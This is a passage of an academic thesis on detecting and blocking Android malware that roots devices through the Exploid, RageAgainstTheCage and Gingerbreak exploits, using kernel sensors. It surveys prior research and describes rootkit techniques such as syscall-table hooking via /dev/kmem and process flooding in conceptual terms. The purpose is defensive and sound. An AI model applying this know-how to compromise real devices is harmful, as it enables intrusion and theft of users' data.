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Abstract

Every year, malefactors continue to target the Android operating system. Malware

which root the device pose the greatest threat to users. The attacker could steal stored

passwords and contact lists or gain remote control of the phone. Android users require a

system to detect the operation of malware trying to root the phone.

This research aims to detect the Exploid, RageAgainstTheCage, and Gingerbreak

exploits on Android operating systems. Reverse-engineering 21 malware samples lead

to the discovery of two critical paths in the Android Linux kernel, wherein attackers can

use malware to root the system. By placing sensors inside the critical paths, the research

detected all 379 malware samples trying the root the system. Moreover, the experiment

tested 16,577 benign applications from the Official Android Market and third party Chinese

markets which triggered zero false positive results.

Unlike static signature detection at the application level, this research provides

dynamic detection at the kernel level. The sensors reside in-line with the kernel’s

source code, monitoring network sockets and process creation. Additionally, the research

demonstrates the steps required to reverse engineer Android malware in order to discover

future critical paths. Using the kernel resources, the two sensors demonstrate efficient

asymptotic time and space real-world monitoring. Furthermore, the sensors are immune to

obfuscation techniques such as repackaging.
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DETECTION AND PREVENTION OF ANDROID MALWARE ATTEMPTING TO

ROOT THE DEVICE

I. Introduction

1.1 Background

In the last seven months of 2011, malware on Android tripled [23]. The popularity

of phone hacks grows every year largely in part of the successful profiteering of phone

hacks. Of the 1,260 Android malware samples collected from the Android malware genome

project [56], over 45.3% supported autonomous sending of short message service (SMS)

texts to hacker-controlled, premium-rate numbers. The victim could then pay $1-$2 dollars

for each text. Over 51% collected user information which possibly includes visited bank

websites. In addition, 90% turned the phone into a bot. The malware writers sell the botnet

on the black market.

Around 36.7% of malware samples try to leverage root (full) privileges to the phone.

Malware with root privileges pose the highest threat to users’ security and privacy [56].

From the sample, the malware leverages at least one of the following root exploits. The

root exploits are known as:

• Exploid,

• RageAgainstTheCage (RATC)

• Gingerbreak, and

• Asroot.

1



The exploits KillingInTheNameOf and zergRush all root the phone, but no

malware family currently uses the exploits [56]. In addition, some researchers refer to

RATC as Zimperlich [41]. To narrow the scope of this thesis, the research objects will

only include Exploid, RATC, and Gingerbreak.

Today, customers rely on the Android operating system to store their private and

privileged information. The device knows their location via global positioning system

(GPS) and wireless local area network (WLAN) tracking. The device can collect

conversations and even watch the victim via the webcam. Customers need a solution to

detect malware trying to root their phones.

1.2 Research Contributions

1. Develop an accurate method to detect malware on Android devices which leverage

Exploid, RATC or Gingerbreak privilege escalation.

2. Ensure the method detects the malware over 95% of the time with less than 0.5%

false positive rate.

3. Provide a repeatable method to reverse-engineer Android malware in order to find

signature paths inside the malware.

4. Demonstrate where to find the critical paths in the kernel to block the malware while

not hindering legitimate application usability.

The goal of this research is to develop an accurate method to detect rooting

of Android devices. Rooting the phone results in a loss of countermeasures against

malware. Android’s built-in malware prevention assumes the malware runs as a user-land

process. Furthermore, this research will detect the malware running local root exploits.

The research must accurately determine Exploid, RageAgainstTheCage (RATC), and

Gingerbreak exploits 95% of the time with less than 0.5% false positive rate. The research

2



must detect any variation to the three exploits. To ensure this goal, the research must rely

on behavior analysis rather than signature detection.

In addition, the research must provide a repeatable method that future researchers may

perform to defend against future exploits. The research must demonstrate how to reverse-

engineer Android malware in order to find critical paths inside the code. Next, the research

must explain where to find the correct place in the kernel to block the critical path while

not hindering legitimate application usage.

1.3 Assumptions/Limitations

The research defines testable malware as any program attempting to jailbreak the

phone using Exploid, RageAgainstTheCage, or Gingerbreak. The research only

examines malware that attempt to root the device. Therefore, any malware which chooses

not to root the phone is not testable. This research only concerns itself with malware

trying to leverage root permissions. For future root exploits, the research provides the

methodology researchers may follow to detect the attack.

1.4 Preview

Chapter II introduces other techniques invented by the community to detect Android

malware. Chapter III presents the design of the experiment and explains how the study

determines successful detection. Next, Chapter IV describes the design and development of

the kernel detection algorithm tested in the experiments. Chapter V shows the experimental

results and their significance. Finally, Chapter VI concludes the thesis, recaps the pertinent

highlights, and provides guidance on future research.
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II. Background

2.1 Introduction

Mobile malware protection requires understanding how malware currently works on

Android and the current countermeasures against malware. This chapter looks at current

malware and anti-malware detection techniques.

In the academic community, researchers focus on offensive (for example, new

vulnerabilities for future researchers to mitigate) [1, 54] and defensive [16, 19, 20, 25,

33, 39, 47, 49, 52, 55] techniques for Android security. This thesis will focus on defensive

techniques, but will need to defend against new malware techniques. For the defensive

studies, researchers perform static [33, 47, 55] or dynamic [16, 19, 20, 25, 39, 49, 52]

analysis. This thesis focuses on dynamic analysis to detect rooting of the phone.

2.2 Offensive Techniques (Rootkits)

The following sections show the current malware research for Android devices in a

academic community. They introduce new vulnerabilities in mobile security for future

researchers to consider. For this thesis, they also provide insight on rootkit behavior on

Android devices.

2.2.1 Enhancing Stealthiness And Efficiency of Android Trojans and Defense

Possibilities (EnSEAD).

Ali et al. discuss stealth techniques in rootkits that could defeat the Dalvik Virtual

Machine (DVM), proposed behavioral based detection of malware, and proposed security

policies to mediate interaction between applications [1]. They extended the Android

Trojan Soundcomber to utilize covert channels to send data to the master malicious server.

Soundcomber already handles persistence. This new Trojan, Contact Archiver, utilizes four

different covert channels including:

4



1. vibration settings,

2. volume settings,

3. screen brightness settings, and

4. file locks.

The writers of this Trojan must ensure minimal user interaction during transmission to

prevent the user from interfering with the message by creating noise on that covert channel.

These covert channels assume that two applications exist. One application sends secret

information and another collects the information. For collecting sensitive information, the

Trojan listens to phone conversations and pulls out data such as credit card numbers and

key-pressed PINs.

The paper includes the experiment results from using the covert channel. To increase

throughput, the Trojan sends compressed data based on credit card numbers, PINs and

contact list formats [1]. To further increase the covert channel’s stealthiness, the authors

could also encrypt the data. They included numerical data showing that compression

improves as number of contacts increase. As future work, the team desires to implement

techniques to mitigate the effectiveness of covert channels in Android devices.

2.2.2 Android platform Based Linux Kernel Rootkit.

Dong-Hoon You and Bong-Nam Noh demonstrate different Android rootkits that

take advantage of the loadable kernel module (LKM) and /dev/kmem (device access

technology) [54]. The paper looks at kernel hooking techniques for Android devices using

an advanced reduced instruction set computing (RISC) machine (ARM) architecture. The

paper includes three different techniques to install a rootkit in Android. The authors discuss

these techniques to encourage more studies to protect against Android rootkits [54].

First, the paper discusses modifying the sys call table contents via /dev/kmem.

This requires root user authorization. The paper provides sample code from the Android

5



operating system (OS) to explain where the vulnerabilities exist. Since rootkit detection

tools will track this exploit to the sys call table file, the authors discuss techniques

to modify the sys call table in heap memory without touching the actual file. The

attacker modifies the vector swi handler routine to place a copy of the sys call table

in memory. Surprisingly, only one line in vector swi requires modification to point the

OS to the rootkit’s sys call table. Because the later only modifies heap memory, the

rootkit does not persist across reboots.

Second, the paper discusses modifying the vector swi exception handler to point to

the attacker’s copy of sys call table. With three more steps, the authors demonstrate

how to perform this technique without physically modifying the vector swi file. Instead

the attacker changes the offset of a four byte branch instruction code called automatically

when the software interrupt occurs [54]. This helps to evade malware detection since

the attacker avoids modifying system files.

Next, the authors provide links showing the sophistication of rootkits using these

exploits. At this point, the authors infer that smartphone rootkits contain the same danger

as traditional personal computer (PC) architecture rootkits. In fact, hackers ported some

PC rootkits over to Android [54].

This paper drew most of its knowledge from Phrack Magazines to explain different

techniques for creating rootkits. The paper included no experimentation results. The

authors’ contribution was to acknowledge the work already done in Android rootkits.

2.3 Defensive Techniques

Android malware defense falls into static and dynamic analysis. Static analysis tries

to detect malware before the application attempts to run. Dynamic tries to detect malware

after the application executes.
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2.3.1 Static Analysis.

The following researchers proposed new static techniques to detect malware before

the malware runs on the device. The techniques include new security policy syntax and

application byte-code examination. The new detection techniques do not rely on traditional

signature-based antivirus.

2.3.1.1 Extending Android Security Enforcement with a Security Distance

Model.

Tang et al. focus on a distance model to protect Android users [47]. The Android

security enforcement with a security distance (ASESD) model looks at the relationship of

permission sets that Trojan applications typically require. The model calculates the threat

point of an application with Equation 2.1.

R =
(∑

dc +
∑

di j × djk

)
×G (2.1)

The dc in the equation stands for the closed security distance (SD) of the application.

Variables di j and djk, stand for the related unclosed SD. Subscripts i and k represent the

different permissions of the two pairs. Subscript j represents the same permission of the

two pairs. Variable G stands for the number of classifications the application requires. The

overall threat point of the application is denoted in R.

To determine values for safe and unsafe combination of permission pairs, the

researchers tested 100 applications from the Android market, but excluded how they

selected those sample applications. The paper focuses on pairs only, but triples or fours

could also be dangerous.

The conclusion states that threat points R from Equation 2.1 smaller than 20 are safe

[47]. Having a larger test sample would help validate the authors’ conclusion. Because

ASESD only focuses on one application at a time, the security distance model would have

difficulty detecting covert channels using more than one application. For example, suppose
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two (or more) covert channel applications divide the offending permission sets between

each other. Therefore, each application achieves a threat point lower than 20, but together,

they represent a threat to the device.

2.3.1.2 TrustDroid (TM).

Zhibo Zhao and Fernando Osorio developed static analysis tracking for companies

trying to prevent information leakage [55]. Their contribution includes creating a portable

static analysis system. By being portable, the authors state that the application works on

multiple platforms without modification of the TrustDroid’s source code.

TrustDroid works by examining the byte code of Android applications in search of

signatures. These signatures represent code which tries to manipulate sensitive information.

TrustDroid marks the manipulated data as tainted. The program watches the data propagate

in the byte code. If the tainted data flows out through a pre-defined taint “sink”, TrustDroid

flags the operation [55]. TrustDroid performs the above operation via static analysis of the

byte code. The authors chose static analysis over run-time analysis to reduce battery and

resource consumption.

Next, the authors discuss the methodology of creating TrustDroid. The methodology

includes creating signature detection and taint propagation rules. The authors discuss the

user’s responsibility to configure and protect TrustDroid [55]. Configuring the application

requires the user to choose the correct rule sets for their security requirements. Based on

Saltzer and Schroeder’s psychological acceptability principle [51], choosing rule sets may

overburden most users and therefore limit the effectiveness of TrustDroid.

The authors do not discuss the success of covert channels and rootkits to bypass the

security mechanisms. Furthermore, the authors state that pre-infected devices are outside

the scope of their assessment. Polymorphic code could circumvent static analysis [55].

Further experimentation using actual malware samples on TrustDroid will help

validate the authors’ contribution. The authors already stated they started modifying
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TrustDroid to work with user-imported libraries [55]. The additional user contributed work

will help expand the project to reach different security requirements.

2.3.1.3 Semantically Rich Application-centric Security in Android.

In the paper, Ongtang et al. consider the security requirements of smartphone

applications and augment the existing Android operating system with a framework to

protect applications from abuse [33]. Saint © governs install-time permissions and their

run-time use by the application provider’s policy. The Android security model is system-

centric. The Android OS tries to protect the phone from malicious applications, but

provides limited means for applications to protect themselves. Saint helps applications

to protect themselves from abuse. The Saint policies provide three main contributions.

1. permission assignment policy: Applications may white-list or black-list the other

applications that access their interfaces.

2. interface exposure policy: Applications have finer control over how other applica-

tions may utilize their interfaces. For example, Application A may send remote

procedure calls (RPCs) to Application B and visa versa, but Application C may only

send RPCs to Application B.

3. interface use policy: Applications decide at run-time which interfaces it will use

[33].

The Saint security model taxonomy breaks into permission granting system (install-time)

and interaction policy (run-time) subcomponents. The permission granting system (install-

time) divides into protection-level based, signature-based and application configuration

policies. For interaction policy (run-time), the taxonomy breaks into permission-

based access control, signature-based, application configuration based, and context-based

policies. The interaction policies modify the Android operating system to monitor input

and output to the Davlik virtual machine (DVM). Figure 2.1 shows the different policies.
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Figure 2.1: Policy Tree for Saint [33]

Saint utilizes extensible markup language (XML) for policy format. The policies look

similar to stateful, network-level firewalls [33]. Saint’s runtime enforcement regulates

starting new activities, binding components to services, receiving broadcast intents and

accessing content providers.

The project is at the starting phase. The authors wish to perform more tests to

validate the usability of this method. Likewise, the authors want to pursue a public key

infrastructure (PKI) for Android developers to distribute their Saint policies. This technique

will protect applications from other applications, but will not prevent users from installing

Trojans. Because Saint is still in the early phases of testing, there were no results describing

the added security Saint provides for applications subscribing to Saint policies.

2.3.2 Dynamic Analysis.

Dynamic analysis tries to discover malware by searching for malicious activity. The

researchers approach the subject by installing sensors on either the device or network
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associated with the phone. With dynamic analysis, the researchers must also consider the

limited battery power and resources of the phone.

2.3.2.1 YAASE: Yet Another Android Security Extension.

A privilege spreading attack is a technique where malware writers mask their

privileges by spreading the permissions through several colluding applications. A confused

deputy is a privileged program that a malicious program fools into misusing its authority.

Rusello et al. proposed a new security model for Android that helps thwart the leakage of

sensitive information by privilege spreading attacks and confused deputy attack [39]. The

YAASE extension works on top of the Android application sandbox to prevent privilege

spreading attacks. The framework specifies where a phone may send private information

(based on Internet Protocol addresses), and prevents confused deputy attacks.

Several other researchers came up with security extensions as well. TrustDroid©

proposes dynamic taint analysis that defends against runtime attacks and data leakage [39].

Likewise, QUIRE thwarts the confused deputy attack by tracing remote procedure call

(RPC) chains to ensure only applications with the correct privileges execute the call [39].

In addition, AppFence extends TrustDroid to include shadowing [39]. Shadowing simply

anonymizes the data sent over the network.

The YAASE architecture also extends the TrustDroid architecture to improve privacy

[39]. The YAASE architecture injects itself into the Dalvik Virtual Machine (DVM) and its

boundary points. To govern the boundary points, YAASE modifies the socket.open(),

sendStream(), CursorWindow, and LibBinder modules. These functions flow through

the YAASE’s Policy Enforcement Point (PEP) to ensure the validity of the action. The

policy language looks similar to security enhanced Linux (SELinux). The rule sets contain

an operation and requester application that may execute on a resource. Like

SELinux, the Android OS will require constant policy updates to handle the many rule

sets. For this purpose, YAASE includes a user setting interface (USI). Every time the
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user installs a new application, the USI pre-generates rules based on the new application’s

manifest file. The conference paper did not include any evaluations on Android user’s

acceptance to using USI for YAASE policy management.

The paper included a performance evaluation of YAASE security compared to a stock

Android phone. The performance looked at YAASE with 0 to 80 policies running on the

machine at once. They also tested 50 applications regarding side effects to the security

enhancements. Two-thirds do not present visible side effects, but the paper did not provide

a description of these side effects. To improve the validity of this security enhancement,

larger test sizes of applications would buttress the effectiveness of YAASE. Also, a user

acceptance test would demonstrate the adoption of the product. For further testing, instead

of having the user create policies, perhaps the user could download pre-built policies for

each application automatically similar to SELinux on Fedora Core distributions.

2.3.2.2 Security controls for Android.

Vargas et al. introduce new security controls for the Android OS to harden the system

for business needs [49]. They identify several vulnerabilities for cell phones, for example:

1. an attacker can sniff the data transmitted through the network,

2. the user ultimately decides the permissions an application may have,

3. no encryption for data at rest, and

4. no firewall by default.

Next, the authors discuss different applications to install on Android to harden the

system against these attacks. The recommendation calls for installing Android from the

source [49]. In the paper, they show how to implement a firewall at compile time. The

paper shows the minimum packages required to install Android (reduce attack footprint),

but the paper does not elaborate how they decided which packages to keep. Next, the

12



paper suggests adding the National Security Agency’s (NSA) SELinux for Android. After

installing SELinux, the authors suggest adding cryptsetup for data encryption as well as

obfuscating banners and system messages.

After explaining how to harden Android, the authors provide no testing data to prove

the hardening techniques meet the security requirements for businesses. It also did not

include a comparison of the hardened Android device against a typical Android device. A

possible research area includes testing that the hardened device protects a user better from

Trojans. The recommended suggestions need documentation that the techniques provide

increased security for users.

2.3.2.3 Kernel-based Behavior Analysis for Android Malware Detection.

Isohara et al. propose the current Android audit framework, logcat, fails to provide

the needed information to investigate system compromises from Trojans [20]. This

program, designed for debugging software, will not generate the reports necessary to detect

Trojans. The team proposes a kernel-based behavior analysis program. The program

automatically looks for signatures of information leakage (such as credit card numbers,

subscriber identity module (SIM) serial numbers, and Gmail accounts). The detections

automatically generate reports.

After testing the kernel-based behavior analysis program on 230 applications, the

system detected 37 applications which leaked some kind of personal information, 14

applications executed exploit code, and 13 applications launched destructive code. The

paper did not explain how the authors chose the 37 sample applications. However, most

came from the Android market.

To provide meaningful results, the researchers logged events based on system calls

and signatures of private information (such as credit card numbers). The collection of

system calls with private information became signatures for malware detection. The paper

provides 16 basic signatures for malware detection.
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The paper discusses application level Trojans that meet those 16 signatures, but

not Trojans that obfuscate their communication. The authors left Trojans that hide

communication via covert channels as outside the scope of this research. In addition, the

authors did not include the number of false positives, but they state the logs generate a high

volume of noise [20].

2.3.2.4 Detecting covert communication on Android.

Hansen et al. created an application layer covert channel communication detector

for Android [16]. The application requires no special permissions from the user. To the

authors’ knowledge, this is the first application-level detector for covert channels that runs

on behavioral patterns to identify communication between two channels [16].

The program monitors the vibration, volume, and wake-lock channels on Android

devices. The authors claim 100% detection accuracy in simulations that communicated

via the proposed channels [16]. The authors do not supply the number of simulations

performed. For detecting covert channels, the researchers looks for applications breaking a

calculated threshold. The researchers based the threshold number on covert channel activity

during the execution of legitimate software (with room for noise).

The threshold number discovered proved lower than most covert channels can effec-

tively communicate. If Trojans discover the threshold number and drops communication

below the threshold, they face challenges with noise. In addition, the threshold number

changes based on user activity. For example, if the user locks the device, the threshold

number for volume shrinks by half. During the highest threshold (active user) counts, only

4 bits per second (bps) could be sent through the vibration medium. The theoretical 4bps

requires no noise on the covert channel. The authors adjusted the threshold count when:

1. the phone is locked, or

2. the phone’s screens is off.
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With these low thresholds that dynamically change to lower thresholds based on user

activity, none of the covert channels escaped detection. However, the authors did not list

the number of actual malware samples tested. The authors left covert channels via other

means as future work.

2.3.2.5 A Cloud-Based Intrusion Detection System For Android Smartphones.

Khune and Thangakumar provide a solution for Android intrusion detection using

the cloud with security as a service (SECaaS) [25]. Utilizing cloud-based services, the

smartphone saves battery life since the servers perform the major calculations. The

smartphone only need to upload data and wait for a response.

The authors demonstrate the usefulness of cloud-based antivirus (Mobile Agent)

versus Kaspersky Mobile and ClamAV based on number of signatures. The cloud-based

solution contained over 20 times more signatures plus behavior detection. The cloud-based

detection also contained a higher level of coverage based on the other two antivirus software

products.

Next, the authors provide a system design for the cloud-based intrusion detection

system (IDS) and the mobile agent. Each Android device contains the mobile agent which

sends and communicates with the cloud server. The IDS in this paper includes:

1. antivirus,

2. emulator for runtime analysis of replicated applications,

3. memory scanner,

4. system call anomaly detection, and

5. Internet proxy [25].

While the cloud could protect the devices, the paper neglects to discuss the security needed

to protect the cloud server. This server will also contain the collected data of all Android
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devices which could result in privacy concerns. Spies and hackers alike would target the

cloud service. In addition, how would the cloud protect a device with no service? Likewise,

companies need to estimate the cost to implement such an IDS on a network. They should

also consider the confidentiality, integrity and availability concerns associated with the

Android device’s dependence on the cloud network.

In addition to new security concerns when moving Android devices to the cloud,

researchers may test the performance loss (if any). A performance increase could persuade

researchers to further investigate cloud-based security. Privacy critics may require further

research to ensure confidentiality inside the cloud.

2.3.2.6 A Cloud-Based Intrusion Detection And Response System For Mobile

Phones.

In this paper, Houmansadr et al. propose a cloud-based smartphone specific intrusion

detection system (IDS) to detect misbehavior [19]. In addition, the IDS determines the

appropriate response to each detection. They seek to provide security transparently to the

user with light resource requirements for the actual Android device and real-time IDS [19].

Live testing on actual smartphones could help demonstrate the conclusions and

goals. For example, testing the IDS against actual malware could further the research’s

contributions. In addition, latency tests could demonstrate the research’s feasibility.

2.3.2.7 Android Malware Detection via a Latent Network Behavior Analysis.

In this paper, Wei et al. propose latent network behavior to detect malware using

independent component analysis (ICA) [52]. They stated the proposed mechanism

provides:

1. tolerance of polymorphic code,

2. an approach to detect malicious network behavior, and

3. automatic detection of malicious Android applications.
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To test the validity of their concept, they collected 310 types of Android malware

in 2012. From their tests, they detected malicious applications with nearly 100 percent

accuracy, precision, and recall rate. However, the authors did not report the number of

false positives from their analysis tool, Droid Box.

Next, the paper demonstrates the mathematical formulas utilized to determine malware

behavior. From the test results, the team presents charts showing their findings. The results

have a greater than 95% detection rate when using 10 independent components (IC) [52].

2.4 Surveys

Some researchers chose to survey the current situation for Android security. They

provide a better understanding of the battlefield, and offer some new insight into the subject.

In addition, they provide suggestions for areas of improvement.

2.4.1 Google Android: A Comprehensive Security Assessment.

This paper includes a list of security assessments one could apply to Android operating

systems. The paper looks at attack vectors such as Bluetooth, IEEE 802.11 networks, third

generation (3G) networks, and universal serial bus (USB). To start, Shabtai et al. discuss

the security mechanisms incorporated into the Android operating system. They provide

defense in depth for the device and include:

1. Linux security mechanisms,

2. environmental security mechanisms, and

3. Android specific security mechanisms.

The paper describes the security mechanisms inside each category. While describing the

Linux mechanisms, the authors quickly talk about the root user, but no root security

protections. Further studies to protect this coveted and privileged account would benefit

the community.
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For the security assessment, the team looked at code review, application’s permission-

granting mechanisms, and application installation process [42]. The paper only looked

at one phone (HTC G1 smartphone). Since each vendor implements the Android OS

differently, testing several different phones is necessary. The paper acknowledges the

threats caused by web-based attacks, such as cross site scripting (XSS) and standard query

language (SQL) injection, but decided not to include them in their threat cluster diagram.

The assessment results are qualitative with likelihood of attack ranges from unlikely,

possible, and likely, and impact ranges from minor, moderate and severe. Because

of the broad scope of the assessment, a quantitative assessment would not work. Future

researchers may narrow the scope of the project to provide quantitative values such as time

and money. The mitigation level and effort for each countermeasure were also qualitative.

The paper did not include tests or numbers to demonstrate the qualitative results.

2.4.2 Dissecting Android Malware: Characterization and Evolution.

In this paper, Zhoue and Jiang aim to systematize existing Android malware by

categorizing the different malware families [56]. They collected 1,260 malware samples

from August 2010 to October 2011. Their one year study resulted in the discovery of

49 different malware families. Roughly 36.7 percent of the malware contained local

privilege escalation attacks. Of the four antivirus programs downloaded (AVG antivirus

free, Lookout Security & antivirus, Norton Mobile Security Lite, and Trend Micro Mobile

Security Personal Edition), the best antivirus only detected 79.6 percent of the malware,

and the worst case found 20.2 percent [56].

Next, the team discussed the methods Android malware drops itself into the filesystem,

activates and carries malicious payloads to the victim. Roughly 80 percent repackage

themselves in legitimate applications. The malware developers download popular Android

applications and inject their malicious payload into the code. Next, the developers post the

repackage software to the Android market or alternative application stores.

18



The second type of installation method is an update attack. With this attack, hackers

better mask the malware from antivirus. Instead of piggybacking the entire payload into

the Trojan, update attacks only include a web-update component in the Trojan application.

The web-update component will download the malware payload at runtime. Four malware

families adopted this attack [56]. The malware developers increased the sophistication of

the attack by upgrading only certain components in the host applications. This avoids the

requirement for the user to approve the update.

Third, drive-by downloads trick the victim to download interesting software while

surfing the Internet. Four malware families exploited this technique. Other means to entice

the user include in-app advertisements and quick response (QR) codes. Both means cause

the victim to visit a targeted website to download the malicious payload [56].

Next, the authors transition to various payload types. From their malware sample, they

distributed the payload types into privilege escalation, remote control, financial charges,

and personal information stealing. Privilege escalation attempts to escalate the malware to

root permissions. From the 1,260 malware samples, the authors came across six methods

used by malware to gain root permissions. At least 36.7 percent of the malware tried to

gain root permissions. Of the malware samples vying for root permissions, 81.6 percent

utilized more than one root exploit [56].

The next type of payload is remote control. Ninety-three percent of the malware

infected phones and turned them into bots. At least three malware families encrypted their

communication and the unified resource locators (URL) of their command and control (C2)

servers [56].

Besides remote control, 45.3 percent of the malware utilized financial charge payloads.

The malware subscribes to attacker-controlled and premium-rate short message system

(SMS) services. In Android, the function, sendTextMessage(), will send a text message
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in the background without user awareness. Some malware will also make phone calls in

the background to incur charges on the victim [56].

Finally, 51.1 percent of the malware harvested user information. Thirteen families

collected simple message system (SMS) messages, 15 families collected contact informa-

tion, and 3 families gathered user account information. For SMS stealing, two families

looked specifically for SMS verification messages for uploading to the command and con-

trol server. The attacker could later generate fraudulent transactions on behalf of the in-

fected users [56].

This paper provided detailed information about the current status of malware. With

1,260 samples, the journal discovered 49 malware families. Likewise, the 58 references

and one-year research time helped buttress the value of the research.

2.4.3 My smartphone is a safe! The user’s point of view regarding novel

authentication methods and gradual security levels on smartphones.

Dorflinger et al. describe the user’s perception of and the need for a graded security

systems [12]. Using four focus groups with nineteen respondents, the authors evaluate

different authentication methods for smartphones. Due to the nature of focus groups,

the team provided qualitative results for the paper. However, this methodology allowed

participants to discuss their point of view and develop assumptions from other participants

[12].

Of note, all participants in the exercise were between 25 to 34 years old. Half were

students and the other half were working full time. The opinions of 25-34 year olds on

security may differ from older and younger users in regards to security. The focus groups

looked at eight authentication methods which included:

1. fingerprint authentication,

2. 3D gesture recognition,
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3. retina scan,

4. activity based verification,

5. 2D gesture recognition,

6. recognition based authentication,

7. speaker recognition, and

8. face recognition [12].

For each method, the testers ask the participants their opinion if they think the method is

secure, and good. In addition, the testers ask the participants if they would personally

use the authentication method [12]. Of note, most users showed a strong preference

for fingerprint authentication. Ninety-five percent of participants claim fingerprint

authentication is secure, 89 percent state fingerprint authentication is good, and 95 percent

state they would use fingerprint authentication. One hundred percent of participants discuss

retina scan as secure, but only 26 percent claimed they would want to use retina scan for

authentication [12].

Finally, the users discuss their opinion on security for smartphones. The participants

mention different people have different security needs [12]. They suggested that Android

come with security levels (similar to Internet Explorer) for users to configure. However,

the security should not require constant pestering of the user. In regards to authentication

via biometrics, the device should contain a PIN backdoor. To better explain, this backdoor

will make the device still usable if the user developed a sore throat or blister that fails the

biometric scan [12].

Overall, this paper summarizes usability for mobile security for users between the

ages of 25 to 34 years old. For further study, a researcher could test participants of different
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age groups. The authors admitted budget constraints limited the number of surveyors for

this paper and may require future research [12].

2.4.4 Smartphone Security Challenges.

Wang et al. discuss the new security challenges for mobile phones [50]. They mention

the need for new security by citing the rapid growth of mobile malware. The authors also

describe the smartphone threat model. The threat model divides the smart phone into three

layers which are:

• application layer (includes all the smart phone’s applications),

• communication layer (includes the carrier network, Wi-Fi, Bluetooth, universal serial

bus (USB) and secure digital (SD) cards), and

• resource layer (includes flash memory, camera, microphone and sensors) [50].

Next, the paper looks at viruses, Trojans and spyware. First, viruses typically embed

themselves inside desirable applications (mostly games) [50]. They can also spread through

Bluetooth. Bluejacking and bluesnarfing both attack smartphone devices with Bluetooth

enabled [50]. Trojans also hide themselves as legitimate and desirable applications. They

typically send background calls and instant messages to (attacker-controlled) premium-rate

services. Spyware tries to steal a victim’s personal information. Sixty-three percent of all

Android malware performs spyware operations [50].

Second, the authors present the threats and attacks on smartphones. Smartphone

threats include data leakage, phishing, web-traffic redirection (pharming), voice phishing

(vishing), airwave sniffing, spam, and attacker spoofing. The WebKit engine utilized by

most smartphones include a buffer overflow that allows an attacker to execute malicious

code [50].

For security challenges, no single security tool fits all users. Most users only expect to

keep their phones for a short time. Therefore, security solutions need to transfer from one
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device to another [50]. Smartphone devices also increase security challenges, because they

contain limited resources (battery life, memory and processing power) compared to their

personal computer (PC) counterparts. Due to their size, users easily misplace smartphones.

In addition, the embedded sensors make tracking a victim simpler for the malware [50].

Finally, the paper provides advice for securing smartphones. The suggestions include

cloud-based security, encryption, increased user awareness, and limiting Bluetooth and Wi-

Fi use. The authors provide the readers subtle signs to detect potential compromises. They

include warm battery during off times, the phone lights up at unexpected times, and the

phone unexpectedly beeps or clicks during phone conversations [50].

2.4.5 Android botnets on the rise: Trends and characteristics.

Pieterse and Oliver evaluate Android malware with the purpose of identifying specific

trends and characteristics relating to botnet behavior [36]. The paper reviews literature

regarding Android malware. From the review, the paper identifies that most botnets come

from repackaged applications. The botnets receive commands, steal user information, and

infect the Android manifest file (AndroidManifest.xml) [36].

According to the study, the success of the Android OS has led to an increase in botnets.

On 29 December 2010, researchers discovered the Trojan Geinimi. Geinimi displayed the

first traditional botnet functionality on Android [36].

Looking at the Android malware history, the authors note the use of command and

control (C2 or C&C) servers that control the Android botnets. The authors also noticed

that repackaged Trojans started in third party application stores, but have landed in the

official Android market. DroidDream became the first discovered malware to reach the

official Android Market [36].

Since the authors wrote a survey, the paper did not include experiments. They relied

on literature reviews to validate their findings. Further experiments with actual malware

samples would help validate the malware characteristics discovered.
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2.5 Summary

For every countermeasure against malware proposed, malware writers discover a new

means to circumvent the protection. This seemingly endless cycle requires a look at current

weaknesses in countermeasures and malware to provide stronger security for Android

devices. By detecting malware that roots the phone, the thesis furthers Android defense

against the latest malware threats. Table 2.1 compares this thesis to other research.

Other Research This Thesis

Offensive (Rooting Techniques) [1, 54, 56]

Defensive [16, 19, 20, 25, 33, 39, 47, 49, 52, 55] X

Dynamic Detection [16, 19, 20, 25, 39, 49, 52] X

Static Detection [33, 47, 55]

Rooting Detection X

Kernel-based Detection X

Surveys [12, 36, 42, 50, 56]

Table 2.1: Summary of Research

This thesis will dynamically search for malware trying to root the phone. By writing

sensors directly into the kernel, the methodology avoids the cloud-based solutions some

other research requires. In addition, the sensors utilize existing kernel data structures and

operate inside the same functions which create new processes and sockets. Therefore, the

solution executes in real-time with little additional power. The other dynamic solutions

require more system resources. Unlike static analysis, malware obfuscation inside the

filesystem will not deter the sensors. If the malware tries to root the phone, they must

make system calls to the kernel. Those system calls run through the sensors. For the
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rooting techniques discussed in other research, this thesis will provide a means to prevent

the initial infection. After infection, the researchers demonstrate the difficulty in removing

the rootkit.
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III. Methodology

3.1 Introduction

This chapter explains the methodology of the research and will discuss the approach,

testing, boundaries, performance metrics and workload. The chapter begins with the thesis

contribution which is to discover a new method to detect malware attempting to root

the phone. Chapter 5 explains how the new algorithm run asymptotically faster and less

memory consumption than static detection algorithms.

3.2 Contribution

This thesis contributes to the body of knowledge by proposing a new algorithm to

detect and prevent malware trying the leverage root privileges by Gingerbreak, Exploid

or RageAgainstTheCage. In addition, the research will demonstrate how to find signature

paths inside malware. Then, the research explains where in the Linux kernel to place

sensors by identifying critical paths.

3.3 Approach

The following section describes the approach developed to detect rooting of the

phone. They include developing kernel sensors inside critical paths and where those critical

paths exists. Then, the section describes the different Android operating systems where the

critical paths apply.

3.3.1 Develop Kernel Sensors Inside Critical Paths.

Figure 3.1 shows the different layers of the Android operating system [2]. At the

lowest level is the Linux kernel. The Linux kernel provides oversight to the above layers.

By installing the sensors inside the lowest layer, the sensors can watch the above layers

in real-time. The sensor can monitor applications, frameworks, libraries and the Dalvik

virtual machine for root-seeking malware.

26



In addition, operating at the lowest layer increases the success of detection, because

the sensors can follow the malware’s flow of execution inside the kernel. If the malware

desires to root itself, it must make system calls that the sensors monitor. For the malware’s

system call to complete successfully, the malware cannot obfuscate the parameters.

Therefore, the kernel can see the malware’s intentions for that system call. By discovering

critical paths that only malware enter inside the kernel, the user may detect or block local

privilege exploits.

Home Contacts Phone Browser Your App
APPLICATIONS

Activity Manager Window Mngr
Telephony Mngr Resource Mngr

Location Mngr
Package Mngr

APPLICATION FRAMEWORK

LIBRARIES RUNTIME
OpenGL
SQLite

FreeType
OpenGL

WebKit
SGL

Dalvik Virtual 
Machine

LINUX KERNEL
WiFi Driver Keypad Driver Camera Driver Audio Driver

Figure 3.1: Different Layers of the Android Operating System [2]

3.3.2 Add Sensors Inside Kernel Source Code.

The algorithm located inside the Linux kernel module requires sensors inside the

abused system calls that the malware exploits. The RageAgainstTheCage exploit

generates threads until the device reaches RLIMIT NPROC resource limit. The command

ulimit -u in the Android debugger (ADB) or Android terminal emulator reports the
